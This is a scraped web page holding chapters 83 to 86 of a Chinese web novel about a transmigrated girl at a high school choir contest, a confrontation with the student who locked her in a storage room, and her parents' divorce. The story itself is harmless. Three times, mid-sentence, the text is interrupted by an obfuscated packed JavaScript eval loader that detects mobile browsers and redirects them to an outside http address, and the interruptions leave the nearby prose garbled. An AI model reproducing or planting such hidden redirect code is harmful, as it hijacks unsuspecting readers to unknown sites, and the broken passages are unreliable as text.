131无言,却不得不承认,他说得对。否则001也不会在一开始就帮助苏昙,答应401调查谷晨之死,更不会替他进忏心间,挨下难熬的十四天。 “可是我……” 001明白131要说什么:“我知道,你既信任我,也尊敬主神。如果真的有那一天,我希望你能遵从自己的内心,做不会你不会后悔的选择就好。” “……嗯。” 131深深吸了一口气,终于觉得好受了点。 * 南山高中一共就三个音乐老师,高二年级算上文理科,因为这个合唱比赛忙得不可开交。 学会一首歌的时间并不长,但留给高二一班同学学歌的时间也不长。楚老师教完这班教那班,刚教完两天,比赛的日期就到了。 合唱比赛占了周三一天的时间,从早上九点开始,高二文科一班开始。 8点40分的时候,张思蓉按照楚老师的指示,领着换好服装的全班同学,在学校礼堂前的空地集合。 楚老师早就在空地等候,喊道:“趁着还有时间,我们再按照队形排练一遍!指挥呢,出来做准备。” “……” “指挥呢?” “……” 没人回应,楚老师提高音量又喊了一遍。 张思蓉快速清点了人数,竟然没有看到夏汀舟的影子。 可夏汀舟早上去拿服装的时候还和她说了话。张思蓉心里涌起不好的预感:“老师……指挥现在不在队里。” “什么?”楚老师看了一眼手表,脸瞬间耷拉下来,写满了不爽。有事耽搁了是小事,要是真出了事,她这个当老师的少不了被问责。 “这样,老师,我现在就去找她,一定在比赛开始之前找到!”张思蓉立刻决定道,走之前顺手薅走了站在第一排的徐豪,“你是体委跑得快,帮我一块找吧!” 楚老师紧皱眉头,周身气压极低。 分针又往后走了五分钟,离开的三个人还是没到。 这时,她看见一个女学生主动出了队伍。 “你这时候出来干什么?”楚老师没好气道。 程微雪紧张地看着她,说道:“我会一些指挥的动作,对这首歌也比较了解,如果最后她们三人还没回来,我可以补上指挥的位置,至于队里的空位,其他人补上就行。您看可以吗……老师?” “……只能这样了,你先去指挥的位置站着吧。” 这女学生倒是和自己心里想得一样,竟然还挺有勇气,主动站出来自荐。楚老师暗自思忖,指挥剩余的同学重新把队形补上。 程微雪松了一口气,站在队伍前做好指挥的准备动作。 84. 世界四(17) 各班合唱比赛的服装都在操场的器材室集中发放,当天早上,苏昙去拿衣服,路上碰见张思蓉,还和她聊了两句。 到了器材室,里面挤满了同样来拿衣服的学生,争先恐后地伸手挑选。好不容易轮到苏昙,却被告知一班指挥的裙子和其他人不一样,还没送过来,需要再等一会。 “老师,请问衣服具体什么时候能送过来啊?” 苏昙看了一眼对面墙上钟表的时间,已经8点20分了。 负责管理服装的老师挺直了身体,越过人群朝苏昙说道:“快了快了,估计再有五分钟就来了,你再等等!” “好。”苏昙退到一旁,给后来的人让路。 早知如此,不如直接从夏汀舟的衣柜里挑一件合适的裙子带到学校,省时还省力。苏昙靠在墙边,百无聊赖地想道。 到器材室拿服装的人来得快,走得也快,没几分钟便只剩下苏昙和那个老师。 负责的老师收拾完东西,眼看就要离开器材室。 苏昙赶紧上前喊住她:“老师,我的衣服还没送到吗?要不您帮我再问问吧,我们班就在第一个比赛,时间要来不及了。” “你怎么还在?我以为你早就走了。行,我给你打个电话问问。” 说完,负责的老师走到外面,打开手机拨了一个号码。 苏昙又看了眼时间,马上8点30分。 半分钟后,那老师在门外朝苏昙探头道:“给你问过了,说是搞错了班级,现在正往这送呢,你再等两分钟吧。” “好,谢谢老师。” “没事儿。” 负责的老师挂断电话,急匆匆地赶往下一个地方。 苏昙表面再淡定,心里也不由有些着急。这个时间点,与其留在这等不知道什么时候会来的裙子,不如直接去队伍集合,到时候解释清楚缘由就好了。 就在苏昙从凳子上站起来准备出去时,看到器材室的门被人从外向内关上了。 “哎!还有人呢,先——” 苏昙没来得及叫住关门的人,后半句话就连同她的人一起被锁进器材室里。 她隐约听见一个男生的声音,似乎在对另一个人说什么:“所有门都锁好之后……等会把钥匙送到办公室里……记得上点心……” 听声音,说话的男生好像还是个学生,估计是来完成老师交代的工作的。只是……他的声音怎么感觉有点耳熟?嘶,一点也想不起来了。 苏昙离门还有些距离,加上器材室的门是加厚的防盗门,隔音效果十分显著,比如外面那两个学生一点也没听到她的呼喊。 苏昙不死心,又对着门喊了两声,依旧没有回应。 这下好了,她想着要换衣服,就把手机放在了教室,现在想喊人来一趟都没有办法。 器材室的窗户对着的是操场后面的厕所。苏昙走到灰蒙蒙的窗户前,发现窗户从外面锁上了,她透过玻璃看到锁眼的地方覆盖了一层厚厚的铁锈和灰尘,不知道有多长时间没有被清理过,想必拧开都费力。 她扳着窗户边沿使劲推了推,只摸了一手的灰。 综合了各方面事实,苏昙快速对目前的情况做出判断——她被两个太过积极负责的学生锁在没有其他出口的器材室了。 早上没有班级上体育课,整个操场都很安静,偶尔有几个来操场玩耍的教师子女,只有五六岁大,相互追逐嬉笑着跑远。 苏昙透过窗户朝他们招手呼喊,一点注意力也没引起。 在她不停的踱步声中,时钟的时针不知不觉指到数字“9”,苏昙心里的焦急在达到顶峰后快速消退,她估摸着合唱比赛已经开始,就算现在出去也已经晚了,还不如安心待在这里,等老师反应过来,肯定会派人来这边找。 她坐到凳子上,不知不觉发起呆。 好无聊。好想找人聊天。要是001现在在身边该有多好。也许他能有办法把自己搞出去。 ……001在身边? 苏昙突然回过神,面无表情地伸手掐了一把大腿。 不管001怎么认为,既然她已经下定决心要离开,就不可能再踏上回头路,要断就断得干脆点。 大腿清晰的痛感让她逐渐回到现实,头脑重新变得清醒。 好在这次没过多久,她听到外面响起敲门声。 紧接着,张思蓉嘹亮的声音穿过门传到室内:“有人吗?有人在里面吗?” 苏昙心中一喜,赶快跑过去,喊出了她这辈子最大的音量:“有!是我,夏汀舟!我被人不小心锁里面了!” “好!我和徐豪现在在外面,你先等一等,我们去找老师拿钥匙!” 张思蓉一字一句地喊道。 收到回复,苏昙便在门后耐心等待。 五分钟后,门开了,徐豪拿着钥匙站在外面,还喘着气,看样子是一路跑过来的。 他说道:“张思蓉去给楚老师说你的情况了,我先过来给你开门。” “咱们班已经比完了?” “嗯。听说程微雪主动代替了你指挥的位置,队形也重新补齐了。好在最后的结果还不错,得了第三名。” “所以……你和张思蓉也没有参加比赛?”苏昙看着徐豪,十分认真地向他道歉,“对不起啊,本来是集体的活动,你们却因为我缺席了。” “没关系,毕竟事出有因,我和张思蓉都不在意,相信大家和老师肯定也会理解的。” 徐豪露出两颗虎牙,无所谓地摆摆手。 等苏昙和他一起回到教室时,班里的人都已经到齐了,杨辞从楚老师那得知夏汀舟被锁在器材室的事,立刻到班查看情况。现在正在讲台上不厌其烦地强调已经重复了无数次的安全问题。 看到苏昙和徐豪进来,杨辞停下来,等他们坐好后继续刚才说到结尾的话:“……再重申一遍,幸好这次的事情只是学生会两个同学的无心之举,并没有造成实质伤害的意外。但你们以后都要提高防备心,尽量不要在集体活动中落单,否则很容易被有心之人陷害。都明白了吗?” 交代完,自习课刚好下课,杨辞又单独找苏昙说过几句话后,直接拿着教案去下一个班准备。 苏昙刚回到教室,有些热心的同学立刻围到她身边关切道:“你没事吧?学生会的人也真是的,连器材室里面的情况都没搞清楚就锁门,得算失职了!” “就是,还有那送衣服的同学,好歹也是学生会的人,连班级都能搞错,真是服了。” 苏昙看着义愤填膺的同学,忙道:“我没事,而且你们那么给力,显得我的担心好多余。” “哈哈哈,那肯定不能给咱们班拖后腿啊!” 看夏汀舟的确没事,前来问候的同学嬉笑着回去了。 苏昙环顾了一圈班里,正准备去找程微雪当面道个谢,却看见程微雪先往自己这里走来了。 “夏汀舟,我想和你说件事。” 程微雪微抿双唇,站到苏昙面前。 苏昙点头,继续听她说。 “你……真的被人不小心锁在器材室了吗?” “对啊。”苏昙又给她解释了一遍事情的起因和经过。 程微雪面色犹豫,嘴巴张了又合,最后鼓起勇气坦白道:“其实,我不知道这次合唱比赛,指挥的位置对你重不重要,但我不是故意要替代你的。当时那种情况,与其等老师挑人,不如我直接站出来。之前在乐理班的时候,我也私下学过一些指挥的动作,我补上你的位置,是当时最优的解决办法。” 苏昙意外地看着程微雪,不是惊讶她做出的决定,而是意外她竟然想得这么复杂。 “所以,你是害怕我生气,专门来解释的?” “……嗯。” “那真是不巧了,我还想找你道谢呢。” “道谢?” 苏昙挑眉笑道:“对啊。如果不是你主动站出来帮我,恐怕咱们班会因为我耽误不少时间,也就不会有第三名这么好的成绩了。而且,我本来就是被老师选择做了指挥,在我心里,你比我更合适。” 程微雪好一会没说话,不自觉摩挲指腹的薄茧。 “我还以为……” “以为我会生气,觉得你抢了我的风头?” 程微雪微不可察地点了点头。 “那你可能还不够了解我。”苏昙打趣道,“你喜欢音乐,我喜欢摄影。如果让我在台下给你拍照,我才会更乐意。” 程微雪也跟着苏昙笑了。 原来她一个人胡思乱想猜测半天,都是自己吓自己,结果根本没她想得那么糟糕。 程微雪头脑有些发热,把心里的想法一股 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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搜索结果出来,苏昙注意到,附近新开了一家串串香店,看介绍,门面不是很大,串串的种类却十分丰富,评价也一致称赞。 就定这家了。 “老师,我没看到我家长,能给他们打个电话吗?” 一个有些稚气的声音在苏昙耳边响起。 她抬头看过去,认出那是隔壁班张老师家的小儿子,叫涛涛,也是上次夏迁舟发生冲突的对象。 事情调解过后,陈老师便把他们两个分到了两个班,以免再生事。 这个时间点,涛涛已经下课,估计夏迁舟也快出来了。苏昙想着,继续等待。 陈老师把手机给了涛涛,叮嘱道:“打完电话,不要乱跑,就在这等着家长来接你。” 涛涛点头,熟练地在拨号界面按下一串号码。 几声“嘟嘟”后,电话被接通。 “哥,你什么时候过来啊,怎么还没到?”涛涛不耐烦地催道。 “快了快了,我正骑电车往这边赶呢,你再等坐那等两分钟。” 坐在一旁的苏昙听到电话里隐约传来的声音,不久前的记忆瞬间被唤起。 这声音,怎么听着这么像把她锁器材室的人的声音?难怪她当时就觉得耳熟! 涛涛的表哥叫张光,苏昙曾经在办公室和他说过两句话,当时她被造谣,就有张光的一份“功劳”。 涛涛还在撅嘴对着电话说道:“那你过来给我带点吃的,我饿了!” “行行行,你坐那别乱动啊,你妈还在学校开会,晚上才回家……” “知道了。” 涛涛挂了电话,把手机还给陈老师后,背着琴包坐到长椅上,不小心和对面的苏昙对视上。 “你看我干什么?” 他还记得这个人就是当时表哥给他讲的那个小三,语气变得很不友善。 苏昙按下心中的疑惑,轻声细语地问道:“今天是你表哥来接你啊?” “对啊,怎么了,和你有关系?” “你表哥,是不是在南山高中的学生会里?” 说完,苏昙停下来,静静地看着他。 85. 世界四(18) 听到苏昙的发问,涛涛的表情像见了鬼:“你怎么知道?” “哦,我俩一个学校,他碰巧在我隔壁班,我们俩见过几面,还打了招呼呢。” “哼,别想跟我套近乎。”涛涛别过头冷酷抱臂。 苏昙不甚在意地笑笑,没再和他说话。 过了两分钟,她看到夏迁舟走出教室,立刻迎上去,飞速在他耳边道:“等会配合我,咱们一起去吃串串香。” 夏迁舟愣了几秒,配合地朝苏昙点了点头,跟在她后面。 苏昙来到涛涛面前,邀请道:“等会我和夏迁舟要去吃串串香,就在附近新开的一家店,你要和我们一起去吗?刚好,夏迁舟也想为之前的事给你道个歉,希望能跟你重新和好。” “他想和好?那他怎么不自己过来告诉我?” “这不是不好意思么。”苏昙露出揶揄的神色,“你就别跟他一般见识了,况且我想你对我可能有些误解,不如趁着咱们吃串串的功夫,你再听我好好给你解释解释?我们就当重新认识了。” “对了,我还听说,那家串串店卖的串串种类可多了,什么海带结、鱼豆腐、土豆片、肉丸子……两只手都数不过来!刚才路过那,串串和汤的香气直往我鼻子里钻,挡都挡不住啊……” 涛涛盯着苏昙咽了一口口水,摸了摸裤兜,吞吞吐吐地说道:“可我今天没带零花钱。” “这有什么,钱乃身外之物,包在我身上,你放心吃。等会你哥来了我亲自和他讲。” 苏昙无所谓地挥挥手,活像个慈悲的佛僧。 “那行吧,我就勉强跟你们去看看。”涛涛看了一眼站在苏昙身后的夏迁舟,走到他身边道,“既然你那么想跟我和好,那我就勉为其难地跟你一起走吧。” 旁边的夏迁舟:“……” 他看向苏昙,露出天真无辜的询问目光:我怎么不知道我想和涛涛和好?还想向他道歉? 苏昙淡定对夏迁舟说道:“信则有,不信则无呐。等我去和陈老师知会一声,咱们就出发。” 下一秒,她原地遁走,闪到钢琴教室不见踪影。 夏迁舟:“……” 涛涛热脸贴到了冷屁股,不再找他说话,撇撇嘴重新坐下等苏昙出来。 五分钟后,苏昙带着两个跟班到达串串香店。 串串果然又香又多。 就是店面有点太小了。这一整条街上,都是一家挨着一家的门面,破旧的楼层上是居民住户和各种补习班、兴趣班。 串串香店里只摆了两张桌子,都已经坐满客人。再来的,只能坐到外面的位置。 苏昙让夏迁舟和涛涛先去挑着菜,她拿着两个书包在剩余的位置转了两圈,最后选了一个靠大树的四人桌。 “都挑好了?” 苏昙来到串串窗口的时候,夏迁舟和涛涛都已经选了满满一大盆,就等着她来结账。 苏昙很快把自己的那份选好,又额外加了一份面,最后一起付了款。 “行了,咱们坐着慢慢等吧。” 她领着饥肠辘辘的两人回到刚才选的座位,把手机扣放在桌子上。 涛涛坐在苏昙对面,局促地开了口:“你都请我吃饭了,那我们就算重新认识了。不管之前发生过什么,从现在起,你和夏迁舟都是我的朋友。下次我也要拿我的零花钱请你们吃好吃的。” 苏昙忍不住笑道:“好啊。不过我还是要和你解释一下,之前你从你表哥那听说的我的事,都是虚有其表,全都是假的,可能是你哥的好朋友向我表白被我拒绝了,你哥想给他争面子,才反咬一口,造我的谣。” “……你真的不是小三?” 苏昙反问:“你一口一个小三,真的知道小三是什么吗?” “知道啊,我哥给我讲过,就是插足别人感情的第三者呗!”涛涛颇为自豪地说道。 “那你说说这里面有第三者吗?” 涛涛:“好像……没有。” “难不成你哥是?” “他当然不是!” 苏昙看他心里已经有数,便道:“如果你还怀疑,等会你见了张光,大可以再问问,看我说的对不对,谁骗人谁长痔疮!” 夏迁舟在一旁听了半天,冷不丁屁股一紧。 涛涛却还在追问:“什么是痔疮?” 苏昙:“……” 聊天的画风好像逐渐奇怪起来了。 她及时打住:“反正我是肯定不会骗你的,毕竟你说的,咱们都是朋友了,朋友不骗朋友!” 涛涛彻底放下心,转眼又面露悲伤:“那我哥为什么要骗我?” “你和你哥是朋友吗?你们是亲人啊,比朋友更亲的亲人,可能他觉得这是善意的谎言吧。我都原谅他了,你也原谅他吧。” 苏昙开解他道。 “你说得有道理……” 夏汀舟看着自己的姐姐东一句西一句地和涛涛瞎聊,好像知道了他当时因为爸妈吵架害怕伤心的时候,她是怎么开导自己的了。 别管劝的人说得对不对,就看听的人觉得有没有用。 涛涛显然很受用,他不再多想,抱着筷子眼巴巴地看向店里,等串串做好。 又过了两分钟,巧店员端着饭盘出来,嘴里吆喝道:“四号桌的串串好了!” 苏昙立刻朝店员招招手。 三碗香气扑鼻的串串上桌。 海带爽脆,肉丸弹软,鱼豆腐鲜嫩,土豆片糯口,加上热气腾腾,醇香浓厚的酱香咸汤,毫不犹豫地喝上一大口,简直能称得上人生一大幸福的事。 苏昙点得没夏迁舟和涛涛多,很快便吃完。她擦擦嘴,算着时间拿起手机,碰巧一个电话进来,显示的是陌生号码。 苏昙对还在吃串串的两人说道:“我去接个电话,你们俩吃完别乱跑,就在位置上等我。” 说完,她拿起电话,站到树后,找到一个能看到夏迁舟和涛涛的位置,才不急不慢地接了电话。 “喂。” “夏汀舟,我弟在哪?”张光气势汹汹的声音在苏昙耳边炸开。 苏昙把手机拿远了些:“陈老师没告诉你吗?” “她不知道!你根本没告诉她!” 张光似乎在外面,电话那头传来风声。 苏昙朝钢琴班的方向看去,张光正坐在停在门口的电车上,神情激动地说些什么,仿佛头上烧着一团火。 “我告诉你夏汀舟,你要是敢动我弟,我绝对饶不了你!” “那可有点糟糕了,你弟现在……”苏昙看了一眼涛涛,他没控制好力度,不小心咬爆了一个丸子,里面的汤汁瞬间滋满一脸,他赶紧手忙脚乱地找纸擦脸。 “啧,正被欺负呢,看着惨兮兮的。” “他怎么了?!” 张光腾地一下从电车上跳下来。要是他舅妈的儿子有好歹,那他还有什么颜面待在他舅妈的班里? 苏昙神色冷下来,问道:“张光,你故意把我锁在器材室的时候,怎么就没想过,我之后一定不会饶了你?” 电话那头突然沉默下来。 几秒后,张光说道:“我已经和老师解释过了,我和另一个人没看到里面还有学生,根本不知情。” “那送衣服的人呢?听说也是学生会的,怎么别人的衣服早就送到了,我的就是死活不来。这件事你也不知情吗?” “我不知道。” 苏昙笑了:“你安的什么心思,我都看得一清二楚,张光。不就是因为孙瑞杰的事,上学期末的时候,我在广播里对你明嘲暗讽,伤到了你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758956|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的自尊心,想报复我。可惜了,我一想到你就觉得好笑,这也叫报复?” “你弟早就知道你干的那些见不得光的事了,如果他问起来,你最好赶紧想想该怎么说吧。” 张光冲电话吼道:“我才没有破防!你就是个阴险的女人!快把我弟交出来!” “阴险?你求着别人教训,我教训了你,我这是在积德,怎么会是阴险?虽然你是张老师的数学课代表,但也不能把语文拉下啊,没事别光想着陷害人,先多做点阅读理解,有助于你将心比心。” “我比个屁的心!”张光威胁道,“你这种人就是欠搞,多搞几次就老实了!” 苏昙像是听到什么笑话:“excuseme?如果你心里没数,建议你去跟张老师好好了解了解我……以及还有夏家,心里有数了再来跟我叫板。” 她毫不在意地眯了下眼:“哦对了,想要你弟弟的话,记得带二十块钱过来,卖命钱。” 涛涛吃完串串,抬头看见夏汀舟笑得灿烂,拉了拉夏迁舟的袖子,问道:“你姐在和谁打电话,怎么聊得这么开心?” 夏迁舟还在专心解决最后一个肉丸子:“不知道。” 涛涛无语,他背上书包走到苏昙身边,小声对她说道:“姐姐,我吃完了。能给我哥打个电话,让他来这接我吗?” 张光还在电话那头骂娘,忽然听到涛涛的声音,赶紧喊道:“涛涛!你在哪?我现在就去找你!” 苏昙忽略掉张光的噪音,愉快地把手机给了涛涛:“好啊。” 她揉了揉终于清净的耳根,走到店主那,在放在最外面的众多饮料中,买了两排AD钙。 一分钟后,张光骑着电车从路对面漂移到串串店,然后飞奔下车,跑向涛涛:“你没事吧?” 涛涛意犹未尽地说:“我没事啊,夏迁舟的姐姐在请我吃串串,可好吃了,下次你也来带我吃吧!” 张光:“你不是被欺负了?” “你听谁说的啊?我吃得可开心了!” 张光还欲追问,恰好看到苏昙抱着两排奶过来。 张光把她拉到一旁:“你没对他做什么?” “我能对他做什么?难不成像你一样,也搞一段无中生有的录音发给你?还是把他关进小黑屋?” “你骗我?” 张光忍不住叫道。 “没有啊。涛涛被丸子爆了一脸汁,不算被丸子欺负吗?” “你——” “你哪么多废话,卖命钱留下,人你带走。喏,扫这个码就行。”苏昙打断他的话,朝他晃晃手机上的二维码,“喏,二十块。还真别说,现在这个年纪的小男孩胃口还挺好,是像你一样,还在长身体吗?” “……”张光吃瘪,拿出手机。 苏昙有些意外,把二维码亮了出来。 “我警告你,别再他的主意。”钱转过去后,张光又对苏昙说道。 苏昙满意地看了眼到账记录:“但凡你安分,我可能现在都不认识你弟。” 张光:“……” 他现在看见夏汀舟就烦,转身对涛涛道:“咱们走。” “再等等。” 苏昙叫住涛涛,把怀里的AD钙分给他一排,笑道:“请你喝的。” “谢谢姐姐。” 涛涛恨不得感动落泪,又是白吃又是白喝,他都有些羡慕夏迁舟有这么好一个姐姐了! 送走张光和涛涛,目睹全过程的夏迁舟走到苏昙身边:“姐,你手段了得。” “你又懂了。最好赶紧喝完,拿回家被妈妈发现,你就得挨吵了。” 苏昙把另一排奶递给他,一边调侃一边给司机发消息。 夏迁舟嘴角上扬,不再说话,开始解决赃物,安静地享受这温情时光。 86. 世界四(19) 春天和夏天之间往往没有什么明显的过渡,过了五月,太阳渐渐毒辣起来,人们身上的衣服也一天比一天薄。 很快,高二下学期期末考试结束,杨辞在班级群里通知,要在当天放学之后开家长会。 苏昙提前给陈玫发了消息,说放学先不回家,就在学校等她开完班会一起回去。消息发出去半天,陈玫一直没有回复,苏昙不知道她究竟看没看到,电话也打不通,提示正在通话。 算了,等她来了再说一遍吧。 苏昙拉着书箱子,坐在教学楼前的梧桐树下的椅子上,茂盛的绿色树叶给树下的人腾出一片荫凉,苏昙戴上耳机,惬意地看着来往的学生和家长。 看着看着,她看到了一张熟悉的脸。 夏恒? 他怎么会来这?陈玫呢? 苏昙立刻从椅子上弹起来,躲到树后暗中观察他。 夏恒这次没穿西服,而是换上一套藏蓝色衬衫便装。尽管如此,他在人群中依旧显眼,周身散发出严肃的商人气质。 他眉头习惯性紧皱,快速在一楼找到高二一班,大步跨了进去。 苏昙想到她已经沦为班里倒数的成绩,心觉不妙,立刻给司机发消息。万幸门口堵车,司机还没走多远,立刻停了下来。 苏昙头也不回地推着箱子出校、上车、回家,动作行云流水,一气呵成。 刚坐上车,陈玫的电话打了过来。 苏昙听出她的声音有些倦意。 “刚才有事,没看到你的微信和电话。家长会你爸非要去,我拦不住他,你应该碰见他了吧。” “嗯,他已经进班了。” “那你现在在哪?” “我回家了,还在路上。” “好。”陈玫在电话那头顿了几秒,好像深深吸了一口气,说道,“今天上午,我和夏恒去把离婚手续给办了。你爸这次回来,要在家里待一个暑假。” 苏昙有些意外,也觉得正常,她问道:“……那夏迁舟现在知道吗?” “他已经放假了,但我还没敢告诉他。现在我在你姥姥家。” “没事,相信迁舟会理解您的。” “我既然离婚,就不会再奢求你们原谅或理解我。我就是个不称职的母亲,一个自私的人。” 陈玫的眼睛哭了一上午,早就哭得充血红肿,此刻又有沉甸甸的愧疚堵在心里。 苏昙轻轻叹气,静静地等着陈玫。 陈玫眼里早就没泪了,过了一会,她带着重重的鼻音道:“对不起,我现在真的没脸见你们。往后,你和弟弟的抚养费,我和你爸一人出一半。你们住的地方不用换,继续住别墅就行。另外,我准备重新找一份工作,能养活我和你们俩就够了。” “……好。” 苏昙坐在车后座,透过玻璃看着路边的一排排榆树快速后退。 好在人是向前走的。如果生活重新开始,应该也会越来越好吧。她想。 不过,眼下这件事,还有一个人需要知道。 陈玫已经挂断电话,苏昙靠在座背,闭上了眼。 她已经有小一个月没见过那个人,也没和那个人说过话。现在突然有事找他,竟然都不知道要怎么开口了。 苏昙仿佛又回到独自一个人在里世界生活的状态,每天忙着和周围的人打交道,闲暇的时候接几个项目,特别累的时候甚至能倒头就睡。 有时候,她都要怀疑睡眠质量慢慢回到从前了。这样看,没有子系统陪伴的日子似乎也不是很难熬。 就是不知道他现在忙不忙,会不会听到她的声音。 第一句话要说什么呢。直接喊名字?还是先问候一句“在干什么?” 苏昙思来想去,还是没想好怎么开启久违的对话。 这时,她感觉到识海里涌起一股十分舒服的暖流,从里到外放松了大脑——这是子系统来了的标识。 “……001?” 尽管苏昙知道子系统此刻就在她的识海,她还是忍不住喊出他的名字。 “我在。” “你怎么知道我想找你?” “听到了。” 苏昙:“?” 可她还没张嘴,他就先到了啊。 “你已经在心里想了许多遍了。”001的话里不带任何挑逗和暗示,只是在平静地陈述事实,“也许你忘了,子系统能够和宿主某些强烈的情绪共感,我能察觉到你心里既犹豫,又期待。” “我还说过,只要你喊我,我就一定会回应。你可能也忘了。” 苏昙:“……” 虽然她现在看不到001的模样,但她确定,他的最后一句话绝对是在怪她! 苏昙感觉被人当面脱掉了底裤,连装都没法再装,干脆不装了。 “那你感觉错了,我期待的不是你,是夏汀舟。”她强装淡定道,“我有事托你替我转达给她。” 不知是不是她的错觉,她说完后,好像听到了001在轻笑。那声笑很浅很浅,就像一片落叶随风轻盈飘走,快得让人抓不住。 “什么事?” 他再开口时,口吻已经恢复严肃认真。 苏昙把心里的一丝落寞驱走,正色说道:“夏恒回来了。” “纸总归包不住火,他很可能已经知道成绩的事。我在想,你要不要给夏汀舟说一声?在保持学业和发展兴趣爱好这件事上,我觉得还是夏汀舟亲自和夏恒沟通更有用。你能帮我去问问她的意见吗?” “你是想让夏汀舟主动迈出第一步?” “没错,有些事情只能自己面对。” 苏昙不得不承认,尽管已经一个月没和001相处,她和他之间的默契依旧还在。 “家长会什么时候结束?”001又问。 苏昙看了一眼时间:“六点半。还有半个小时。” “那我现在就去找夏汀舟。你……还有什么事要说吗?” “没了。” “那我还有。” “?” “如果下次想见我,直接喊我的名字吧,我永远都会在第一时刻回应你。” “谁想见你了?!” 苏昙下意识反驳,没忍住喊出声,把前排开车的司机吓了一大跳,扭过头看了一眼她。 紧接着,她又听到了001的轻笑。 “你笑什么笑?”苏昙觉得她快要被气笑了,“看我尴尬你很开心吗?” “相反,一点也不开心。我没想要嘲笑你,只是不想看到你那么累。那个会笑会哭会生气的才是我认识的苏昙。”001还想再说什么,却忽地停住,最后只道,“不管什么时候,你都可以不带任何犹豫地走向我,我一直都在。” 像一记硬拳打进棉花里,苏昙突然泄了气。 为什么会有这么执着真诚的人,总是不加遮掩、不厌其烦地一次次表露真心,坦率到让她自惭形秽,甚至说不出刺人的狠话。001把她看得太透彻了,让她避无可避。 “你走吧。”苏昙摸出眼罩戴上,“我累了,要睡一会。” 过了几秒,她觉得太阳穴开始酸胀——001已经走了。 苏昙把座椅放平躺倒,高高抬起拳头,又像发泄脾气一样落下,无声地砸进柔软的坐垫。 或许无能为力才是人之常情吧。 …… 夏汀舟刚刚回到自己的身体里,还有种恍如隔世的错觉。 在裂缝之隙待了快一年,她短暂了脱离了令人窒息的父亲,也离开了那座死气沉沉的别墅。服下过量安眠药的那一刻,她的确感受到一种前所未有的解脱。 可她还是来到了虚空之境。只有仍抱着生的执念的死者才会来到这里。 裂缝之隙没有夏恒,但夏恒的话总会在房间突然响起,常常把她吓得不轻。平静下来后,才发觉,那只是她自己心里的声音。 一个人的时候,夏汀舟思考了很多,她好像只是从一个地方,逃到了另一个地方。一开始的解脱慢慢变成枷锁,把她锁在这一昏暗的房间。 半小时前,001来到她房间,把苏昙想法告诉了她,加上她本就能看到宿主在里世界的生活,把苏昙做的事情了解得差不多。 她真的很感激苏昙,也很向往她敢于直面冲突勇气。 十八年了,总不能一直当个哑巴吧。夏汀舟这样劝着自己,有了眼下这短暂的重生。 她回来了。 “小姐,到家了。” 司机把车停好,喊醒了还在后座睡觉的夏汀舟。 “知道了。” 夏汀舟深呼吸,下了车进到别墅。 孙姨正在做晚饭,听到开门的声音,立刻出来道:“汀舟,先去休息一会,饭马上好!” “嗯。” 夏汀舟把书包放下,先去了陈玫的房间,一应摆设都没变化,就是她衣柜里的衣服少了大半。夏汀舟站在衣柜前看了一会,衣柜里散发出熟悉的洗衣粉香味,好似陈玫一直不曾离开。 其实,得知父母离婚的事,说不悲伤怨恨是假的。可过去这一年,她作为旁观者,才发现陈玫也有苦衷。 她不理解的是,既然在婚姻里寻不到幸福,为什么不早点分开,而是偏偏生下她和夏迁舟后,才追悔莫及地离婚? 她没有苏昙看得通透豁达,但会学着慢慢接受。 夏汀舟整理好心情,走上楼敲了敲夏迁舟的房间。 夏迁舟放下手里的作业,开门道:“姐?有什么事吗?” 夏汀舟已经很久没听过他心平气和地和她说话了,如果没有苏昙在中间缓和,也许到现在,她听到的仍是一句不耐烦的“干嘛?”。 她知道夏迁舟一直嫌弃她沉默寡言,性格“窝囊”,某些举动甚至有讨好的意味。但她只是不愿意看到夏迁舟变成自己这样,才想方设法对他表达关心和亲情。 “你怎么不说话?谁又欺负你了?” 夏迁舟看他姐站在那一动不动地盯着他看,眼圈还慢慢红了。 “我……没事,就是来看看你。” “你今天心情不好?” “没有,就是突然有点舍不得了。” “舍不得什么?”夏迁舟疑惑道。 夏汀舟笑着摇了摇头:“没什么。” 夏迁舟:“那咱们下去吃饭吧,估计孙姨快把饭做好了。” “好。” 夏汀舟和他一起走下楼。 刚到餐厅,夏恒回来了。 夏汀舟的笑容凝固在脸上,呼吸开始不受控制地急促起来,双手双脚瞬间冰凉。逃跑的冲动开始占据她全部的理智。 “别怕,我和子系统都在呢。”夏汀舟突然听到一个熟悉的声音。 苏昙现在处于灵魂游离的状态,四处飘荡在房子的各个角落。她此刻就在夏汀舟身边。 夏汀舟指尖攥得发白,反正都已经死过一次了,还怕什么。 她深呼吸,和夏迁舟坐在餐桌旁。 夏恒把公文包挂到架子上,也坐了下来。 “我妈呢?” 夏迁舟环顾了一圈,问道。 夏恒阴沉的脸色更深了几分:“她回老家住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764820|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几天。” “哦。” 夏迁舟没有看他,起身进厨房帮孙姨拿碗筷端菜。 